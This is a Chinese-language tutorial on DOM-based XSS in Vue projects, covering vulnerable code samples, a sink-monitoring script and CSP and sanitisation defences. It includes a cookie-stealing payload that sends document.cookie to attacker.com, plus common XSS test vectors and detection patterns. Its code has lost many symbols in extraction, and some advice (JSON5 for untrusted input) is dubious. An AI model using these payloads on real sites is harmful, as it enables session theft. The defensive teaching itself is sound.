前端DOM型XSS攻防实战:从原理到Vue项目防御方案 1. 项目概述从前端到安全的视角转换作为一名从一线前端开发转向安全研究的老兵我深知很多前端同学对安全的理解往往停留在“后端的事”或者“用个库过滤一下”的层面。直到你负责的项目被安全扫描报告打出一堆“中高危”漏洞或者更糟真的出了安全事件才会意识到那些看似遥远的攻击手法其实就潜伏在你日常写的v-html、innerHTML和eval里。今天我们不谈那些宽泛的概念就聚焦在前端最容易忽视、也最难通过传统手段防御的一种攻击DOM 型 XSS。DOM 型 XSS 的特殊之处在于它的恶意代码并非来自服务器响应而是由前端的 JavaScript 代码在客户端动态操作 DOM 时引入的。这意味着即使你的后端接口做了完美的输入过滤和输出编码攻击依然可能发生。攻击的源头可能是location.hash、document.referrer、window.name甚至是用户输入后由前端脚本拼接并插入到页面中的任何数据。这对于大量使用 Vue、React 等框架进行动态渲染的现代前端应用来说是一个不容忽视的威胁。这篇文章我将从一个前端开发者的实战角度出发带你彻底理解 DOM 型 XSS 的原理通过 2 个源自真实 Vue 项目的精简案例让你直观感受漏洞是如何产生的最后我会分享一个我自研的、在生产环境验证过的轻量级防御脚本它不仅能检测更能从框架使用习惯上帮你建立防线。无论你是想提升代码安全性的前端开发者还是刚开始关注安全的新手这篇文章都能给你带来可直接落地的参考。2. DOM 型 XSS 核心原理深度拆解要防御它必须先理解它。我们得把浏览器那层“魔法”的面纱揭开。2.1 传统XSS与DOM型XSS的根本区别很多人混淆反射型、存储型和DOM型XSS。简单来说前两者的“恶意脚本”是服务器返回的HTML的一部分。比如搜索关键词qscriptalert(1)/script被后端直接拼接到响应HTML里浏览器接收到整个被污染的HTML文档并解析执行。防御的重点在服务端对输出进行HTML编码。而DOM型XSS完全不同。服务器返回的初始HTML可能是“干净”的。漏洞发生在客户端是前端JavaScript代码执行时不当地将用户可控的数据传递给了某个能够执行代码的“接收器”。这个过程完全在浏览器中完成。一个经典的类比服务器给你寄了一个安全的玩具组装盒干净的HTML和一份说明书JavaScript。说明书上写着“把用户提供的零件数据装到A位置DOM接收器”。问题在于说明书没检查这个“零件”是不是一个会爆炸的炮仗恶意脚本。你按照说明书操作炮仗被装上去炸了。这个“装上去”的过程就是DOM操作。2.2 漏洞产生的关键链条源与汇理解DOM型XSS必须掌握两个核心概念源和汇。源攻击者可控的数据输入点。在前端远比一个输入框多得多window.location对象的所有属性href,hash,search,pathname。document.referrer当前页面的来源URL。window.name一个跨页面也存在的属性常被用于跨域通信但也容易被污染。document.cookie。Web Storage(localStorage,sessionStorage)。通过postMessage从其他窗口或iframe接收的消息。甚至是通过URL参数解析库如qs从前端路由中获取的参数。汇能够导致脚本执行的JavaScript方法或属性也就是数据最终被“执行”的地方。这是攻击的终点站。高危的汇包括直接执行字符串代码eval(),setTimeout(string),setInterval(string),new Function(string)。修改HTML内容element.innerHTML,element.outerHTML,document.write(),document.writeln()。修改标签属性某些属性值会被浏览器解析为URL或脚本如a href”javascript:…”,iframe src”javascript:…”,element.setAttribute(‘onclick’, data)。跳转location.href data,location.assign(data),location.replace(data)。漏洞链条就是源用户可控数据 - 未经安全处理的传播 - 汇危险函数/属性。我们的防御就是要打断这条链。2.3 为什么Vue/React等框架不能完全免疫这是一个常见的误解。“我用Vue有数据绑定很安全。” 事实并非如此。框架提供了更好的默认安全实践比如Vue的{{ }}插值和React的{}默认都会进行HTML转义。但这把安全锁并非万能。框架的“安全区”仅限于其模板编译和渲染系统。一旦你主动跳出了这个系统使用了那些可以绕过框架安全机制的底层DOM API或属性危险就回来了。例如在Vue中使用v-html指令就相当于直接设置了innerHTML框架的转义机制在此失效。React的dangerouslySetInnerHTML属性从其命名就能看出危险性。此外框架生态中大量的第三方插件、组件其内部实现是否安全也依赖于开发者的安全意识。一个内部使用了eval或innerHTML来解析动态配置的图表组件就可能成为整个应用的漏洞点。注意框架不是银弹。它降低了XSS的发生概率但并未根除。安全的责任最终在于开发者自身。3. 案例一动态路由参数与v-html的致命组合让我们看一个在管理后台、仪表盘等场景中非常常见的案例根据URL参数动态渲染页面标题或内容模块。3.1 漏洞场景还原假设我们有一个Vue 2.x项目使用Vue Router。有一个“消息中心”页面其功能是展示不同类型的通知。为了灵活设计决定通过URL的type参数来决定展示哪种通知的模板模板内容是从一个本地对象messageTemplates中根据type取出的HTML字符串。漏洞代码示例template div class”message-center” h1消息中心/h1 div v-html”currentMessage”/div /div /template script export default { data() { return { currentMessage: ” }; }, created() { // 从路由参数中获取消息类型 const messageType this.$route.query.type || ‘default’; // 假设这是从某个配置对象或API获取的模板 const messageTemplates { ‘default’: ‘p这里是默认欢迎信息。/p’, ‘alert’: ‘p class”alert”你有新的高优先级告警/p’, ‘system’: ‘p系统将于今晚3点进行维护。/p’ }; // 关键漏洞点直接将用户控制的参数作为key取出的HTML字符串未经任何处理直接交给v-html this.currentMessage messageTemplates[messageType] || messageTemplates[‘default’]; } }; /script看起来人畜无害对吗我们只是用一个参数作为key去取预设好的模板而已。3.2 攻击者如何利用攻击者可以构造这样一个URL发送给受害者https://your-app.com/message-center?typedefaultscriptfetch(‘https://attacker.com/steal?cookie’document.cookie)/script当用户访问这个链接时this.$route.query.type的值变成了字符串defaultscriptfetch(‘https://attacker.com/steal?cookie’document.cookie)/script。messageTemplates[messageType]由于找不到这个奇怪的key返回undefined。于是this.currentMessage被赋值为messageTemplates[‘default’]即‘p这里是默认欢迎信息。/p’。等等攻击失败了是的在这个简单逻辑下攻击没有成功。因为我们的代码逻辑是“查找不到就回退到默认”。但现实中的代码往往更复杂或者攻击者会尝试其他方式。更真实的漏洞变体假设后端提供了一个API根据type返回对应的HTML模板片段。前端代码可能如下async created() { const type this.$route.query.type; const resp await axios.get(/api/message-template?type${type}); // 假设后端没有做严格的过滤直接返回了HTML this.currentMessage resp.data.html; }此时如果攻击者请求/api/message-template?typescriptalert(1)/script而后端错误地将整个type参数值拼接到了返回的JSON的某个字段中前端拿到后直接v-html漏洞就触发了。但即使没有后端API仅用前端对象漏洞依然存在关键在于攻击者如何控制对象key。如果messageTemplates对象包含一个__proto__这样的key呢虽然现代JavaScript已对__proto__等特殊属性的访问做了限制但这提醒我们将用户输入直接作为对象属性访问或数组索引是极其危险的操作它可能触发原型链污染或其他未预期的行为。更直接的攻击如果代码逻辑是“如果没有该类型则显示类型名本身”那就完蛋了。this.currentMessage messageTemplates[messageType] || p未知类型: ${messageType}/p; // 如果messageType是 img srcx onerror”alert(1)”它就会被直接拼接进HTML3.3 漏洞根源与修复方案根源源this.$route.query.type(用户完全可控的URL参数)。未经处理的传播直接将其作为对象key或字符串的一部分使用。汇v-html指令本质是innerHTML。修复方案白名单校验首选对输入进行严格限制。created() { const validTypes [‘default’, ‘alert’, ‘system’]; // 定义合法的类型白名单 const typeFromUrl this.$route.query.type; const safeType validTypes.includes(typeFromUrl) ? typeFromUrl : ‘default’; this.currentMessage messageTemplates[safeType]; }这是最根本的解决方案将输入范围锁定在预期之内。避免使用v-html思考是否必须渲染HTML。如果只是展示文本永远使用文本插值{{ }}。如果必须渲染富文本确保内容来源完全可信如来自后台经过严格审核和过滤的CMS内容并且对内容进行净化。内容安全策略在HTTP响应头中设置Content-Security-Policy例如script-src ‘self’可以阻止内联脚本的执行即使HTML被注入脚本也不会运行。这是最后一道强有力的防线。4. 案例二第三方库与innerHTML的隐蔽风险第二个案例更隐蔽它藏在看似“安全”的第三方库或自定义指令封装中。4.1 漏洞场景还原项目需要一个将Markdown格式的评论渲染成HTML的功能。为了快速上线你引入了一个轻量级的Markdown解析库simple-markdown-parser。你看过它的文档调用很简单import { parseMarkdown } from ‘simple-markdown-parser’; const html parseMarkdown(markdownText);于是你在组件中这样使用template div class”comment” div v-html”renderedContent”/div /div /template script import { parseMarkdown } from ‘simple-markdown-parser’; export default { props: [‘content’], // content是Markdown格式的字符串 computed: { renderedContent() { return parseMarkdown(this.content); } } }; /script看起来没问题库会处理Markdown语法返回HTML我们用v-html渲染。很多开源项目都这么干。4.2 深入第三方库的黑盒问题在于你信任了parseMarkdown这个函数。它真的安全吗我们来模拟一下一个不安全的Markdown解析器内部可能做了什么// 模拟一个不安全的、简化的Markdown解析器 function unsafeMarkdownParser(text) { // 1. 处理一些基本的Markdown语法 let html text.replace(/\[(.*?)\]\((.*?)\)/g, ‘a href”$2″$1/a’); // 链接 html html.replace(/(.*?)/g, ‘code$1/code’); // 行内代码 // 2. 危险操作为了“支持”一些“高级特性”它可能直接执行了某些匹配到的内容 // 例如愚蠢地支持 “!!jsalert(1)” 这样的语法来“动态执行” if (text.includes(‘!!js’)) { const match text.match(/!!js(.*?)/); if (match) { try { // 致命操作直接eval用户输入的字符串 const result eval(match[1]); html span执行结果${result}/span; } catch (e) { /* ignore */ } } } // 3. 更常见的危险没有对生成的HTML属性进行编码 // 比如用户输入 [click me](javascript:alert(‘xss’)) // 上面的正则替换后会生成 a href”javascript:alert(‘xss’)”click me/a // javascript: 协议在href中会被浏览器执行 return html; }即使这个库没有eval如果它没有对替换生成的HTML属性值如href、src进行正确的编码或协议过滤攻击者依然可以通过构造特殊的Markdown链接或图片语法注入javascript:协议或onerror事件。4.3 实战排查与安全引入第三方库如何排查审查库的源代码特别是核心的解析函数。搜索innerHTML、outerHTML、document.write、eval、new Function、setTimeout(string)等危险函数。查看库的安全记录在GitHub Issues、NPM Advisory、Snyk等平台搜索该库是否有已知的安全漏洞。进行模糊测试向你的评论框输入一些常见的XSS测试向量观察输出。例如img srcx onerroralert(1)[click me](javascript:alert(1))”scriptalert(1)/script![x](” onerror”alert(1))安全引入方案选择声誉良好的库例如对于Markdown渲染marked配合DOMPurify是行业标准实践。marked负责解析DOMPurify负责净化。import { marked } from ‘marked’; import DOMPurify from ‘dompurify’; export default { computed: { renderedContent() { const rawHtml marked(this.content); // 解析Markdown const cleanHtml DOMPurify.sanitize(rawHtml); // 净化HTML return cleanHtml; } } };DOMPurify会移除所有危险的标签和属性只保留安全的子集。实施CSP同样即使有漏洞严格的CSP也能阻止脚本执行。封装安全指令创建一个安全的渲染指令将净化逻辑内置其中。// directives/safe-html.js import DOMPurify from ‘dompurify’; export default { inserted(el, binding) { el.innerHTML DOMPurify.sanitize(binding.value); }, update(el, binding) { if (binding.value ! binding.oldValue) { el.innerHTML DOMPurify.sanitize(binding.value); } } };template div v-safe-html”rawHtmlContent”/div /template实操心得永远不要盲目信任任何外部数据包括来自“自己人”写的第三方库的输出。安全链条的强度取决于其中最弱的一环。对于渲染用户内容解析 净化是黄金准则。5. 构建轻量级DOM XSS防御监控脚本除了在编码时注意我们还需要一道运行时防线。下面分享一个我自研的轻量级防御脚本。它的核心思想不是“修复”漏洞而是“监控”和“预警”帮助你在开发阶段和测试阶段发现潜在的风险点。5.1 脚本设计思路我们无法重写浏览器的原生方法如innerHTML但我们可以包装它们。通过Object.defineProperty或Proxy我们可以给这些危险的“汇”函数添加一层钩子当它们被调用时检查传入的值是否包含可疑的脚本模式并在控制台发出警告甚至上报到监控系统。目标监控element.innerHTML、element.outerHTML、document.write的赋值操作。监控eval、setTimeout、setInterval、new Function的调用。检查传入的数据中是否包含明显的XSS模式如script、javascript:、onerror等。在开发环境输出详细的警告信息包括调用栈、可疑内容和所在的DOM节点帮助开发者快速定位问题代码。在生产环境可以选择静默上报到错误监控平台如Sentry而不影响用户界面。5.2 核心代码实现与解析以下是脚本的核心部分我们以监控innerHTML为例// dom-xss-defender.js (function() { ‘use strict’; // 配置项 const config { debug: process.env.NODE_ENV ‘development’, // 开发环境输出日志 reportUrl: ‘https://your-error-collector.com/api/xss’, // 生产环境上报地址 patterns: [ // 检测模式可根据需要扩展 /script\b[^]*([\s\S]*?)\/script/gi, /javascript:\s*[^”‘\s]*/gi, /on\w\s*\s*(“|‘)[^”‘]*(“|‘)/gi, // 如 onclick’…’, onerror”…” /expression\s*\([^)]*\)/gi, // 旧的IE CSS表达式 ] }; // 检查字符串是否匹配危险模式 function containsXSSPattern(str) { if (typeof str ! ‘string’) return false; return config.patterns.some(pattern pattern.test(str)); } // 安全上报函数 function reportXSSAttempt(details) { const reportData { type: ‘DOM_XSS_ATTEMPT’, data: details, timestamp: new Date().toISOString(), url: window.location.href, userAgent: navigator.userAgent }; if (config.debug) { // 开发环境在控制台输出醒目警告 console.group(‘ [DOM XSS Defender] 检测到潜在危险操作’); console.warn(‘危险接收器:’, details.sink); console.warn(‘可疑内容 (前200字符):’, details.value.substring(0, 200)); console.warn(‘调用栈:’, details.stack); if (details.element) { console.warn(‘关联元素:’, details.element); console.warn(‘元素选择器:’, getSelector(details.element)); } console.groupEnd(); } else if (config.reportUrl) { // 生产环境使用sendBeacon异步上报不影响页面性能 navigator.sendBeacon(config.reportUrl, JSON.stringify(reportData)); } } // 辅助函数获取元素的CSS选择器 function getSelector(el) { if (!el || !el.tagName) return ”; let path []; while (el el.nodeType Node.ELEMENT_NODE) { let selector el.nodeName.toLowerCase(); if (el.id) { selector #${el.id}; path.unshift(selector); break; } else { let sibling el; let nth 1; while (sibling sibling.previousElementSibling) { if (sibling.nodeName.toLowerCase() selector) nth; } if (nth ! 1) selector :nth-of-type(${nth}); } path.unshift(selector); el el.parentNode; } return path.join(‘ ‘); } // 包装原生方法 function wrapSetter(obj, prop, sinkName) { const originalDescriptor Object.getOwnPropertyDescriptor(obj, prop); if (!originalDescriptor || !originalDescriptor.set) return; const originalSet originalDescriptor.set; const originalGet originalDescriptor.get; Object.defineProperty(obj, prop, { set: function(value) { // 检查值 if (containsXSSPattern(value)) { reportXSSAttempt({ sink: sinkName, value: value, stack: new Error().stack, element: this // 对于HTMLElementthis指向元素本身 }); } // 继续执行原始的setter return originalSet.call(this, value); }, get: originalGet, configurable: true, enumerable: originalDescriptor.enumerable }); } // 包装函数调用 function wrapFunction(obj, prop, sinkName) { const originalFunc obj[prop]; if (typeof originalFunc ! ‘function’) return; obj[prop] function(...args) { // 检查参数主要检查字符串参数 args.forEach((arg, index) { if (containsXSSPattern(arg)) { reportXSSAttempt({ sink: ${sinkName} (参数索引 ${index}), value: arg, stack: new Error().stack }); } }); // 执行原函数 return originalFunc.apply(this, args); }; } // 初始化包装 try { // 包装 HTMLElement.prototype 的 innerHTML 和 outerHTML wrapSetter(Element.prototype, ‘innerHTML’, ‘innerHTML’); wrapSetter(Element.prototype, ‘outerHTML’, ‘outerHTML’); // 包装 document.write 和 document.writeln wrapFunction(document, ‘write’, ‘document.write’); wrapFunction(document, ‘writeln’, ‘document.writeln’); // 包装全局危险函数 wrapFunction(window, ‘eval’, ‘eval’); wrapFunction(window, ‘setTimeout’, ‘setTimeout’); wrapFunction(window, ‘setInterval’, ‘setInterval’); // 注意new Function 构造函数比较特殊需要单独处理 const originalFunction Function; window.Function function(...args) { const body args.pop(); // 最后一个参数是函数体 const params args; if (containsXSSPattern(body)) { reportXSSAttempt({ sink: ‘new Function’, value: body, stack: new Error().stack }); } return originalFunction.apply(this, [...params, body]); }; // 保持原型链 window.Function.prototype originalFunction.prototype; console.log(‘[DOM XSS Defender] 监控已启动。’); } catch (e) { console.error(‘[DOM XSS Defender] 初始化失败:’, e); } })();5.3 如何在Vue项目中集成与使用这个脚本是纯原生JS不依赖任何框架可以无缝集成到任何项目中。集成步骤将上述脚本保存为dom-xss-defender.js放在项目的src/utils/或src/libs/目录下。在Vue应用的入口文件通常是src/main.js中最顶部引入并执行它。// src/main.js import ‘./utils/dom-xss-defender’; // 确保在其他任何代码之前执行 import Vue from ‘vue’; import App from ‘./App.vue’; // … 其他代码必须确保它在Vue、任何第三方库以及你的业务代码之前执行这样才能成功包装原生方法。根据环境配置脚本中的config对象。你可以利用Vue CLI的环境变量const config { debug: process.env.NODE_ENV ‘development’, reportUrl: process.env.VUE_APP_XSS_REPORT_URL, // … patterns };效果验证 在开发环境下在你的Vue组件中写一段测试代码template div button click”dangerousOperation”测试危险操作/button div ref”testDiv”/div /div /template script export default { methods: { dangerousOperation() { // 这个操作会被监控脚本捕获 this.$refs.testDiv.innerHTML ‘img srcx onerror”console.log(\’xss triggered\’)”’; // 这个也会 eval(‘console.log(“eval called”)’); } } }; /script点击按钮后打开浏览器控制台你应该能看到类似下面的分组警告信息 [DOM XSS Defender] 检测到潜在危险操作 危险接收器: innerHTML 可疑内容: img srcx onerror”console.log(‘xss triggered’)” 调用栈: (详细的函数调用栈点击可定位到 dangerousOperation 方法) 关联元素: div 元素选择器: body div#app div div这能精确地告诉你是哪行代码、哪个元素触发了危险操作。5.4 脚本的局限性与注意事项这个防御脚本是一个监控和辅助调试工具而非彻底的解决方案。它有如下局限性无法阻止攻击它只在赋值/调用时发出警告或上报并不能阻止恶意代码的执行。真正的防御仍需依靠前文所述的白名单、净化、CSP等手段。可能存在误报和漏报误报你的业务可能合法地需要插入包含javascript:或类似模式的字符串例如一个代码高亮展示的页面。需要调整检测模式或对特定场景加白名单。漏报攻击手法千变万化简单的正则匹配无法覆盖所有情况如Unicode混淆、SVG注入、基于link标签的注入等。模式库需要持续更新。性能影响包装原生方法会带来微小的性能开销。建议仅在开发环境和测试环境启用debug模式在生产环境关闭控制台输出只保留静默上报。可能被绕过一个足够了解你脚本的攻击者可能会尝试使用非常规的DOM API如insertAdjacentHTML或利用尚未被包装的“汇”。脚本需要随着浏览器的API和攻击技术演进而更新。注意事项此脚本主要用于开发期安全审计和生产环境异常监控。把它当作你代码的“安全雷达”而不是“防空导弹”。将它集成到你的CI/CD流程中结合自动化测试如使用Puppeteer进行安全扫描可以构建更立体的防御体系。6. 系统化防御体系建设单个脚本或技巧不足以构建坚固的防线。我们需要从流程和架构上建立习惯。6.1 安全编码规范清单为团队制定并强制执行以下前端安全编码规范禁止清单禁止直接使用eval、new Function、setTimeout/Interval传入字符串。禁止使用innerHTML、outerHTML、document.write直接拼接用户数据。如果必须使用必须经过严格的净化。禁止将用户输入直接作为javascript:URL、data:URL 的一部分。禁止使用JSON.parse解析不可信的字符串考虑使用JSON5或更安全的解析器或先用JSON.stringify再parse进行初筛。必须清单所有渲染到DOM的用户数据必须根据上下文进行编码HTML编码、属性编码、JavaScript编码、URL编码。推荐使用成熟的库如lodash.escape。使用v-html/dangerouslySetInnerHTML时内容必须经过净化如DOMPurify。对来自URL、Cookie、Storage、postMessage的数据视为不可信数据在使用前进行校验和过滤。为所有项目配置合适的Content-Security-Policy响应头。6.2 将安全检查融入开发流程代码审查在PR审查中将安全作为必检项。重点关注数据流从哪里来到哪里去中间如何处理。自动化扫描静态扫描在CI中集成像ESLint配合安全插件如eslint-plugin-security进行代码静态分析自动检测eval、innerHTML等危险模式。依赖扫描使用npm audit、yarn audit或Snyk定期检查项目依赖的已知漏洞。动态扫描在QA阶段使用ZAP、Burp Suite等工具对应用进行自动化漏洞扫描。安全测试为存在风险的功能如富文本编辑器、文件上传、URL跳转编写专门的安全单元测试和集成测试。6.3 内容安全策略详解与配置CSP是防御XSS的终极武器之一。它通过白名单机制告诉浏览器哪些外部资源可以被加载和执行。一个针对Vue应用的推荐CSP配置通过HTTP响应头或meta标签设置Content-Security-Policy: default-src ‘self’; script-src ‘self’ ‘unsafe-eval’ https://unpkg.com; style-src ‘self’ ‘unsafe-inline’; img-src ‘self’ data: https:; font-src ‘self’; connect-src ‘self’ https://api.your-domain.com; frame-ancestors ‘none’; base-uri ‘self’;default-src ‘self’;默认所有资源只能从同源加载。script-src ‘self’ ‘unsafe-eval’;脚本仅允许同源。‘unsafe-eval’是Vue 2.x开发模式所必须的用于运行时模板编译在生产环境应移除。如果用了CDN上的Vue需要加上CDN域名如https://unpkg.com。style-src ‘self’ ‘unsafe-inline’;样式允许同源和内联。Vue的单文件组件会生成内联样式所以需要‘unsafe-inline’。如果完全使用外部CSS文件可以移除它。img-src ‘self’ data: https:;图片允许同源、data URL和所有HTTPS链接常见于显示用户头像等外链图。connect-src ‘self’ https://api.your-domain.com;限制fetch、XHR等连接请求的地址。frame-ancestors ‘none’;禁止页面被嵌套在iframe中防点击劫持。base-uri ‘self’;限制base标签的URL防止相对路径被篡改。在Vue CLI项目中配置CSP 对于Vue CLI项目可以使用csp-html-webpack-plugin在构建时生成包含nonce的meta标签并自动为内联脚本和样式添加nonce从而在保持安全性的同时支持Vue的运行。这是一个更现代和安全的做法。安全是一个持续的过程而非一劳永逸的状态。从前端开发转向安全视角意味着你开始为整个应用的用户体验和数据资产负起责任。理解DOM型XSS只是这个旅程的第一步。